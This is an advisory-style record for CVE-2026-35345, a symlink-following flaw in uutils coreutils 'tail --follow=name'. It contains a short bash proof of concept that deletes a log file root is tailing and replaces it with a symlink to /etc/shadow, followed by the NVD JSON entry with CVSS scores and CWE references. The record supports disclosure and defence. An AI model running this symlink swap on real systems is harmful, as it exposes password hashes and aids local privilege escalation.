CVE-2026-35345

#!/bin/bash # PoC for CVE-2026-35345 # Scenario: Root is running 'tail -f /var/log/app.log' # Attacker has write access to /var/log/ # 1. Remove the original log file rm -f /var/log/app.log # 2. Create a symlink pointing to a sensitive file ln -s /etc/shadow /var/log/app.log # 3. Wait for tail to detect the change and output /etc/shadow contents # Result: The contents of /etc/shadow are displayed in the root's terminal.

{"cve": {"id": "CVE-2026-35345", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:36.627", "lastModified": "2026-05-04T20:04:25.093", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the tail utility of uutils coreutils allows for the exfiltration of sensitive file contents when using the --follow=name option. Unlike GNU tail, the uutils implementation continues to monitor a path after it has been replaced by a symbolic link, subsequently outputting the contents of the link's target. In environments where a privileged user (e.g., root) monitors a log directory, a local attacker with write access to that directory can replace a log file with a symlink to a sensitive system file (such as /etc/shadow), causing tail to disclose the contents of the sensitive file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}, {"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:*", "matchCriteriaId": "4A9AF9E4-E17C-48AD-8051-B49998618839"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/issues/10328", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/uutils/coreutils/issues/10328", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking"]}]}}